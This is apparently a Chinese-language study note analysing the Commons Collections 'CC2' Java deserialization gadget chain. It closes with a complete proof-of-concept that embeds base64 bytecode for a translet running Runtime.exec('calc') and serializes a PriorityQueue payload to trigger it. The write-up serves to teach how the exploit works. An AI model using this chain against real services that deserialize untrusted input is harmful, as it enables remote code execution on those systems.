前言
在CommonsCollections4中通过InstantiateTransformer->TrAXFilter
最后调用了方法,但这样会有数组问题,在shiro在应用中会受到一些影响,所以在CC2中就使用InvokerTransformer
取代以前的数组部分是一种优化
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()
分析
整条流程跟CC4差不多,简单分析一下不同的部分:
CC4:
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}) }; ChainedTransformer chainedTransformer=new ChainedTransformer(transformers); priorityQueue.add(1); priorityQueue.add(0); transformField.set(transformingComparator,chainedTransformer);
CC2:
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{
},new Object[]{
}); priorityQueue.add(templates); priorityQueue.add(2); transformField.set(transformingComparator,invokerTransformer);
回顾过程:
最后要通过InvokerTransformer.transform
调用TemplatesImpl.newTransformer();
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super(); iMethodName = methodName; iParamTypes = paramTypes != null ? paramTypes.clone() : null; iArgs = args != null ? args.clone() : null;
}
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
}
所以在实例化InvokerTransformer
时,就需要给定方法名newTransformer
,即构造:
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
之后他要调用的是TemplatesImpl
的newTransformer
方法,所以上边的transform
的input参数就需要是TemplatesImpl
,而往上看一下哪里调用的transform()
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
是在compare中调用的,而这两个obj的值,就是通过add方法传进去的,所以就有了
priorityQueue.add(templates);
priorityQueue.add(2);
之后就是就是反射这里了,之前用的是chainedTransformer
,而这里我们改用了invokerTransformer
方法,所以对应的也需要改一下
transformField.set(transformingComparator,invokerTransformer);
最终poc
package CommonsCollections2;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
Templates templates = new TemplatesImpl();
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
setFieldValue(templates,"_name","Sentiment");
setFieldValue(templates,"_bytecodes",new byte[][]{
bytes});
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{
},new Object[]{
});
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("1.txt");
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
out.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
Object o = In.readObject();
return o;
}
}
总结
感觉这部分前后联系挺大的,需要足够熟悉CC3和CC4。